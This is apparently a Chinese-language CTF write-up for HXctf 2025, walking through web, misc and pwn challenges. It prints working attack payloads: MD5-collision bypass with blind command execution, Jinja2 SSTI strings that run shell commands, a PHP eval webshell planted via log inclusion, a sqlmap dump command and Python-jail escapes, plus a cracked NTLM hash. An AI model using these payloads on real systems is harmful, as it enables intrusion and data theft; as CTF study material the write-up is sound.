2025HXctf

molu 发布于 25 天前 108 次阅读


打人民CC期间打的一个比赛,web的质量个人感觉挺适合我这种小登的(除了测测你的🐎,卡了蛮久,最后第二次上马出来的时候让我感觉有些脑)

*为未解出,赛后复现

WEB

我们一起来下棋吧

藏在源码里

ez_md5

<?php
error_reporting(0);
highlight_file(__FILE__);


$a=$_GET['a'];
$b=$_GET['b'];
if (!($a!==$b && md5($a)===md5($b))){
    die('回家吧孩子');
}

$c=(string)$_POST['c'];
$d=(string)$_POST['d'];
if (!($c!==$d && md5($c)==md5($d))){
    die('稍微加点料');
}

$love=(string)$_POST['love'];
$ctf=(string)$_POST['ctf'];
if ($love!==$ctf && md5($love)===md5($ctf)){
    echo '都写到这里了,自己去拿flag吧';
    shell_exec($_POST['shell']);
} 

ab用数组绕过即可,cd有弱比较可用0e绕过,love ctf需要用md5碰撞出的值进行绕过,最后是个无回显rce,直接外带

Payload:

GET:
?a[]=1&b[]=2
POST:
c=QNKCDZO&d=240610708&love=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&ctf=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2&shell=cat%20/f*>%201.txt;

表白墙

开始以为是xss,成功弹窗后发现没bot

考虑ssti,fenjing可以出

payload:

{{((((joiner|attr('_''_init__')|attr('_''_globals__')|attr('__g''etitem__'))('_''_builtins__')).__import__("o""s")|attr('p''open'))("\x63\x61\x74\x20\x2f\x66\x2a")|attr('r''ead'))()}}

每日任务

任务一:

[✗] 15:56:18 - Invalid method: GET

[✗] 15:56:18 - From 127.0.0.1 

[✗] 15:56:18 - You should use GZCTFBrowser

[✗] 15:56:18 - You're not from hxctf.challenge.game to this challenge 

payload:

改为POST
HTTP头:
X-Forwarded-For: 127.0.0.1
User-Agent: GZCTFBrowser
Referer: hxctf.challenge.game

第二关:

[✗] 15:57:38 - Missing HTTP_LOVE_CTF header

[*] 15:57:38 - Hint: ['HTTP_LOVE_CTF']==='TRUE'

服务器要求HTTP头HTTP_LOVE_CTF的值严格等于'TRUE'(全大写)。由于HTTP头在服务端通常会将连字符转换为下划线并添加HTTP_前缀

payload:

HTTP头:
LOVE-CTF: TRUE

第三关:

[✗] 15:54:01 - Tell me the year
15:54:01 - intval($year) < 2025 && intval($year+1)>2026

Payload:

POST:
year=2024e1

任务四:

[✗] 16:01:47 - no input
16:01:47 - $_POST['play_the_ctf.web'] 随便填完,赶紧下一个

PHP存在. 空格 _等非法字符转换问题:当PHP版本小于8时,如果参数中出现中括号[,中括号会被转换成下划线_,但是会出现转换错误导致接下来如果该参数名中还有非法字符并不会继续转换成下划线_,也就是说如果中括号[出现在前面,那么中括号[还是会被转换成下划线_,但是因为出错导致接下来的非法字符并不会被转换成下划线_

payload:

play[the_ctf.web=1

任务五:

[✗] 16:09:10 - no magic
16:09:10 - $magic=is_numeric($_GET['ma']) and is_numeric($_GET['gic']){if($magic)}

ma是数字,gic不能输入0-9,转换gic为数组

payload:

GET:
?ma=1&gic[]=2

Payload:

subprocess.getoutput('cat /home/ctf/flag')

新人来爆照

传东西会被丢到一个/uploads/随机名的目录里,并且生成一个index.php里面有一句话

.user.ini的包含文件功能

传一个.user.ini内容为auto_prepend_file=/var/log/nginx/access.log会把目录直接包含在跳转的目录的index.php中,直接访问http://43.139.51.42:36048/<?php @eval($_POST["hack"]);?>写个🐎上去,即可getshell

ez_upload

上传图片后会回显一个蓝链,点击查看图片,点击连接后发现这玩意长这样:url/backend/image.php?name=1,name是注入点,试出字段有俩,但是只有第一个能回显,同时尝试发现这不是mysql库,是个sqlite库:

sqlmap一把过了,直接dump好像会吧images内容都给dump出来,会卡一会,不过还是能出flag

python sqlmap.py -u "http://43.139.51.42:36074/backend/image.php?name=1’" --dbms=sqlite --dump

测测你的🐎

fuzz一下可上传的文件后缀,不要老想着你那个webshell

看看上传目录下会有多的东西吗?

进去是个文件上传,fuzz后缀后发现只能传.html,且会对文件内<? ?>进行过滤,php版本为7.3短标签无用

首页hint:

<!-- $wafPath = "./waf/waf.php";
if (!file_exists($wafPath)) {
echo ("waf是什么,根本不需要;渗透测试结束,系统一切安全~");
function waf($fileName)
{
return false; // 确实很安全
}
} else {
include $wafPath;
} -->

上传成功后出现回显:文件上传成功!路径:./uploads/27ce5d665d97298e96a347856b41bf45/ma.html

被放在随机路径,尝试目录穿越上传无果。

注意到第二条hint,去找上传目录下的文件(不让爆破优先查一下常见文件),找到是index.php可访问

这里让我感觉有点脑,翻过几遍没体会出多了回显意味着什么

同时发现,该index.php比主页的index.php多了回显:waf是什么,根本不需要;渗透测试结束,系统一切安全~根据代码逻辑,这是访问不到/waf/waf.php才会出现的回显,推测此处的上传是无waf的,传🐎成功,回显:waf是什么,根本不需要;渗透测试结束,系统一切安全~文件上传成功!路径:./uploads/51dd2a2ae0fc0d8d26a933b3c1a2b6da/ma.php

访问路径url/uploads/27ce5d665d97298e96a347856b41bf45/uploads/51dd2a2ae0fc0d8d26a933b3c1a2b6da/ma.php即可上马

玩玩你的机-1

Your passphrase: subprocess.call(['cat pyjail1.py'],shell=True)
#!/usr/bin/env python
import re
import os
import random
import string
import socket
import subprocess

CONFIG_USE_FORK = True
WELCOME = """Welcome to f4k3ctr0n1c's python jail!"""
MAXLEN = 88
BLACKLISTS = re.compile(r"os|system|[\\\+]")


def safety_eval(code: str):
    if BLACKLISTS.search(code):
        return "Get back to your cell, damn hacker!"
    return eval(code)


def challenge(input_func, print_func):
    code = input_func("Your passphrase: ")
    if len(code) > MAXLEN:
        print_func("What R U doin'? Too long!")
        return
    value = safety_eval(code)
    print_func(value)


def verification_code_gen() -> str:
    chars = string.ascii_uppercase + string.digits
    return ''.join(random.choices(chars, k=6))


def process_conn(input_func, print_func):
    try:
        print_func(WELCOME)
        attempt_count = 0

        while True:
            veri = verification_code_gen()
            user_input = input_func(
                f"Enter {veri} to prove that you are a human: "
            ).strip().upper()

            if user_input != veri:
                attempt_count += 1
                print_func("入机!")
                if attempt_count > 5:
                    print_func("搁这DDoS呢?爪巴!")
                    break
                continue

            attempt_count = 0
            try:
                challenge(input_func, print_func)
            except Exception as e:
                print_func(f"[-] Error: {e}")

    except Exception as e:
        print_func(f"[-] Unhandled Issue Occurred!\n"
                   f"We cannot recover from error: {e}\n"
                   "Please reconnect or punch in f4k3ctr0n1c(Q:1966727322)'s face if error persist")


def daemon_main():
    """主守护进程"""
    print("[*] Server starting")
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    pwd = os.path.dirname(__file__)

    # 自加载脚本到内存文件描述符
    with open(__file__, "rb") as f:
        script = f.read()
    self_fd = os.memfd_create("main")
    os.write(self_fd, script)
    os.lseek(self_fd, 0, os.SEEK_SET)
    os.chmod(self_fd, 0o444)

    try:
        sock.bind(("0.0.0.0", 9999))
        sock.listen(1)

        while True:
            try:
                conn, addr = sock.accept()
                print(f"[+] Connected with {addr}")
                fd = conn.fileno()

                subprocess.Popen(
                    ["python", f"/proc/self/fd/{self_fd}", "fork"],
                    stdin=fd,
                    stdout=fd,
                    stderr=fd,
                    pass_fds=[self_fd],
                    cwd=pwd,
                    env=os.environ,
                )
            except Exception as e:
                print(f"[-] {e}")

    except KeyboardInterrupt:
        print("[!] Server stopped")
    finally:
        sock.close()
        print("[*] Server closed")


if __name__ == "__main__":
    import sys

    if len(sys.argv) == 2 and sys.argv[1] == "fork":
        del sys
        process_conn(input, print)
    else:
        daemon_main()0

玩玩你的机-2

Your passphrase: dir(__builtins__)
['ArithmeticError', 'AssertionError', 'AttributeError', 'BaseException', 'BlockingIOError', 'BrokenPipeError', 'BufferError', 'BytesWarning', 'ChildProcessError', 'ConnectionAbortedError', 'ConnectionError', 'ConnectionRefusedError', 'ConnectionResetError', 'DeprecationWarning', 'EOFError', 'Ellipsis', 'EnvironmentError', 'Exception', 'False', 'FileExistsError', 'FileNotFoundError', 'FloatingPointError', 'FutureWarning', 'GeneratorExit', 'IOError', 'ImportError', 'ImportWarning', 'IndentationError', 'IndexError', 'InterruptedError', 'IsADirectoryError', 'KeyError', 'KeyboardInterrupt', 'LookupError', 'MemoryError', 'ModuleNotFoundError', 'NameError', 'None', 'NotADirectoryError', 'NotImplemented', 'NotImplementedError', 'OSError', 'OverflowError', 'PendingDeprecationWarning', 'PermissionError', 'ProcessLookupError', 'RecursionError', 'ReferenceError', 'ResourceWarning', 'RuntimeError', 'RuntimeWarning', 'StopAsyncIteration', 'StopIteration', 'SyntaxError', 'SyntaxWarning', 'SystemError', 'SystemExit', 'TabError', 'TimeoutError', 'True', 'TypeError', 'UnboundLocalError', 'UnicodeDecodeError', 'UnicodeEncodeError', 'UnicodeError', 'UnicodeTranslateError', 'UnicodeWarning', 'UserWarning', 'ValueError', 'Warning', 'ZeroDivisionError', '__build_class__', '__debug__', '__doc__', '__import__', '__loader__', '__name__', '__package__', '__spec__', 'abs', 'all', 'any', 'ascii', 'bin', 'bool', 'breakpoint', 'bytearray', 'bytes', 'callable', 'chr', 'classmethod', 'compile', 'complex', 'copyright', 'credits', 'delattr', 'dict', 'dir', 'divmod', 'enumerate', 'eval', 'exec', 'exit', 'filter', 'float', 'format', 'frozenset', 'getattr', 'globals', 'hasattr', 'hash', 'help', 'hex', 'id', 'input', 'int', 'isinstance', 'issubclass', 'iter', 'len', 'license', 'list', 'locals', 'map', 'max', 'memoryview', 'min', 'next', 'object', 'oct', 'open', 'ord', 'pow', 'print', 'property', 'quit', 'range', 'repr', 'reversed', 'round', 'set', 'setattr', 'slice', 'sorted', 'staticmethod', 'str', 'sum', 'super', 'tuple', 'type', 'vars', 'zip']
Your passphrase: print(globals())
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <_frozen_importlib_external.SourceFileLoader object at 0x7fa3b6914a30>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, '__file__': '/proc/self/fd/4', '__cached__': None, 're': <module 're' from '/usr/local/lib/python3.9/re.py'>, 'os': <module 'os' from '/usr/local/lib/python3.9/os.py'>, 'random': <module 'random' from '/usr/local/lib/python3.9/random.py'>, 'string': <module 'string' from '/usr/local/lib/python3.9/string.py'>, 'socket': <module 'socket' from '/usr/local/lib/python3.9/socket.py'>, 'subprocess': <module 'subprocess' from '/usr/local/lib/python3.9/subprocess.py'>, 'CONFIG_USE_FORK': True, 'WELCOME': "Welcome to f4k3ctr0n1c's python jail!", 'MAXLEN': 200, 'BLACKLISTS': re.compile('os|system|eval|exec|subprocess|f|[\\\\\\+]'), 'safety_eval': <function safety_eval at 0x7fa3b69f70d0>, 'challenge': <function challenge at 0x7fa3b681ac10>, 'verification_code_gen': <function verification_code_gen at 0x7fa3b67a1940>, 'process_conn': <function process_conn at 0x7fa3b67a29d0>, 'daemon_main': <function daemon_main at 0x7fa3b67a2a60>}

用chr拼接字符绕过

构造字符串 如:'os'''.join([chr(111), chr(115)])

  • chr(111) 是字符 'o'
  • chr(115) 是字符 's'
  • 合并后得到 'os'

获取全局变量中的'os'模块:

globals()[''.join([chr(111), chr(115)])]

globals() 返回当前全局变量字典

通过动态构造的键 'os' 获取 os 模块

如法炮制(flag和ctf被过滤 通配符绕过)

payload:

getattr(globals()[''.join([chr(111),chr(115)])], ''.join([chr(115),chr(121),chr(115),chr(116),chr(101),chr(109)]))('nl /home/c??/*')

*随便输

附件给出app.py源码:

from flask import Flask, request, render_template_string
import socket
import threading
import re

app = Flask(__name__)

blacklist = ['/', 'flag', 'cat', '+', 'base', 'attr', 'before_request', 'setdefault',
             'cycler', 'set', 'ls', 'response', 'eval', 'chmod', 'session', 'format',
             'self', 'mro', 'subclasses', 'chr', 'ord', 'config', 'getitem', 'teardown',
             'module', '__init__', '__loader__', '_request_ctx_stack', 'string', 'cp',
             '_update', 'add', 'after_request', 'system', 'open','socket', '*', '?', '>',
             'mv', 'file', 'write', 'env', 'join', 'static', '@', 'sleep','urllib']

@app.route('/')
def index():
    return "这里没有flag"

@app.route('/challenge', methods=['POST'])
def rce():
    cmd = request.form.get('try', '')
    for word in blacklist:
        pattern = r'(^|[^\w]){}([^\w]|$)'.format(re.escape(word))
        if re.search(pattern, cmd):
            return "执行失败"
    code = render_template_string(cmd)

    return '执行成功' if code is not None else '?'


class HTTPProxyHandler:
    def __init__(self, target_host, target_port):
        self.target_host = target_host
        self.target_port = target_port

    def handle_request(self, client_socket):
        try:
            request_data = b""
            while True:
                chunk = client_socket.recv(4096)
                request_data += chunk
                if len(chunk) < 4096:
                    break

            if not request_data:
                client_socket.close()
                return

            with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as proxy_socket:
                proxy_socket.connect((self.target_host, self.target_port))
                proxy_socket.sendall(request_data)

                response_data = b""
                while True:
                    chunk = proxy_socket.recv(4096)
                    if not chunk:
                        break
                    response_data += chunk

            header_end = response_data.rfind(b"\r\n\r\n")
            if header_end != -1:
                body = response_data[header_end + 4:]
            else:
                body = response_data

            response_body = body
            response = b"HTTP/1.1 200 OK\r\n" \
                       b"Content-Length: " + str(len(response_body)).encode() + b"\r\n" \
                                                                                b"Content-Type: text/html; charset=utf-8\r\n" \
                                                                                b"\r\n" + response_body

            client_socket.sendall(response)
        except Exception as e:
            print(f"Proxy Error: {e}")
        finally:
            client_socket.close()


def start_proxy_server(host, port, target_host, target_port):
    proxy_handler = HTTPProxyHandler(target_host, target_port)
    server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server_socket.bind((host, port))
    server_socket.listen(100)
    print(f"Proxy server is running on {host}:{port} and forwarding to {target_host}:{target_port}...")

    try:
        while True:
            client_socket, addr = server_socket.accept()
            print(f"Connection from {addr}")
            thread = threading.Thread(target=proxy_handler.handle_request, args=(client_socket,))
            thread.daemon = True
            thread.start()
    except KeyboardInterrupt:
        print("Shutting down proxy server...")
    finally:
        server_socket.close()


def run_flask_app():
    app.run(debug=False, host='127.0.0.1', port=5000)


if __name__ == "__main__":
    proxy_host = "0.0.0.0"
    proxy_port = 5001
    target_host = "127.0.0.1"
    target_port = 5000

    proxy_thread = threading.Thread(target=start_proxy_server, args=(proxy_host, proxy_port, target_host, target_port))
    proxy_thread.daemon = True
    proxy_thread.start()
    run_flask_app()

首先这是一个flask模板,/challenge路由中cmd参数可控,过滤了一些ssti和rce的命令但未过滤花括号,考虑ssti,但是没有回显

本地跑出来是可以回显执行成功/失败来判断输入是否被过滤,但是放到靶机内执行成功会变成回显:似乎什么有没有发生... (做的时候一根筋了,以为还有额外的waf,没考虑是执行了但无回显的情况)

参考文章:SSTI无回显处理(新回显方式)-https://www.cnblogs.com/E4telle/articles/18616135

选择用server头回显,这里用文章中的payload,但是需要改动一下来绕过题目waf

{{lipsum.__globals__.__builtins__.setattr(lipsum.__spec__.__init__.__globals__.sys.modules.werkzeug.serving.WSGIRequestHandler,"protocol_version",lipsum.__globals__.__builtins__.__import__('os').popen('whoami').read())}}
  1. 字符串拼接:使用~操作符将敏感关键字(如catflag)拆分,避免直接匹配。
  2. 路径替换:用g.pop.__globals__.sys替代lipsum.__spec__.__init__.__globals__.sys,避免黑名单关键字init
  3. 间接访问模块:通过lipsum.__globals__.os间接访问os模块,避免使用import
  4. 目标属性混淆:修改不同的属性(如从protocol_version改为server_version),降低被检测的可能性。

payload:

try={{lipsum.__globals__.__builtins__.setattr(g.pop.__globals__.sys.modules.werkzeug.serving.WSGIRequestHandler,\"server_version\",lipsum.__globals__.os.popen('cd ..;tac f'~'lag').read())}}

MISC

f4k3ctr0n1c的新年祝福

在出题人qq空间

flag{h@ppy_2025!!!}

f4k3ctr0n1c的旅行-1

谷歌识图

flag{古北水镇}

f4k3ctr0n1c的旅行-3

观察图片是海南航空的飞机,机头下方有“薛之谦-天外来物”海报,确定飞机编号B-7667

题目提示牛油火锅,所以目的地在重庆,同时,发现出题人QQ位置写着北京,查询从北京到重庆,海南航空B-7667(空客330)承飞的航班号

flag{HU7267}

学姐的微信在哪里呀

记事本字体拉最小,再把缩放调最小,就能扫出来

flag{EZ_xiejie_Jus7_4_d4yDr3@M!}

测测我的马-1

wireshark打开,http第一个流POST传了东西

解出是:

{'time': '2025-02-18T14:47:43.727706', 'hostname': 'DESKTOP-VBRA7O5', 'user': 'admin', 'ip': '61.139.2.129', 'os': 'Windows-10-10.0.19045-SP0'}

里面有有admin,于是考虑这两个ip就是题目所指ip

flag{61.139.2.129_61.139.2.1}

测测我的马-2

直接搜出来了0.o

flag{H@_hA_y0ur_PC_15_h4cK3d!}

测测我的马-3

这个路径有Windows之类的文件,所以猜测这个是C盘

flag{C:\Temp\hack.txt}

测测我的马-4

flag{w1nh4ck3r}

测测我的马-5

已知攻击ip为61.139.2.1,查流量发现一个路径

发现一个程序svchost.exe

导出发现报毒确认为木马

flag{C:\Users\Public\Downloads\svchost.exe}

测测我的马-6

mimikatz跑出密码

RID  : 000003e9 (1001)
User : w1nh4ck3r
  Hash NTLM: 217e50203a5aba59cefa863c724bf61b

解密:

flag{P@ssw0rd!}

Pwn

签到1-calc

拷打ai给了个脚本

import socket

def recv_until(sock, delimiter, echo=False):
    data = b''
    while True:
        chunk = sock.recv(1024)
        if not chunk:
            break
        if echo:
            print("[RAW RECV]", chunk.decode(errors='replace'))  # 显示原始接收数据
        data += chunk
        if delimiter in data:
            break
    return data

# 创建连接
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('43.139.51.42', 37325))

# 接收初始数据
init_data = recv_until(s, b'Come on!', echo=True)
print("[INIT]", init_data.decode())

for _ in range(100):
    # 接收问题数据
    problem_data = recv_until(s, b'answer: ', echo=True).decode()
    print("[PROBLEM SECTION]", problem_data)  # 显示完整问题段
    
    # 改进的解析逻辑
    problem_line = None
    for line in problem_data.split('\n'):
        if 'problem:' in line:
            # 处理类似 "case 1 : problem: 130 - 216" 的情况
            problem_part = line.split('problem: ')[-1]  # 取最后出现的problem部分
            problem_line = problem_part.strip()
            break
    
    if not problem_line:
        print(f"Error: No problem found in:\n{problem_data}")
        break
    
    print("[DEBUG] Problem content:", problem_line)  # 调试输出
    
    try:
        # 解析运算表达式
        expression = problem_line.replace('?', '')  # 去除可能存在的干扰字符
        a_str, op, b_str = expression.split()
        a = int(a_str)
        b = int(b_str)
    except Exception as e:
        print(f"Parse error: {e}\nOn line: {problem_line}")
        break
    
    # 计算答案
    if op == '+':
        res = a + b
    elif op == '-':
        res = a - b
    elif op == '*':
        res = a * b
    elif op == '/':
        res = a // b
    else:
        print(f"Unknown operator: {op}")
        break
    
    # 发送答案
    answer = f"{res}\n"
    print("[SEND]", answer.strip())
    s.send(answer.encode())

# 获取最终结果
try:
    s.settimeout(3)
    while True:
        final = s.recv(1024).decode()
        if not final:
            break
        print("[FINAL]", final)
except Exception as e:
    print("End of connection:", e)

s.close()
菜菜,捞捞
最后更新于 2025-05-11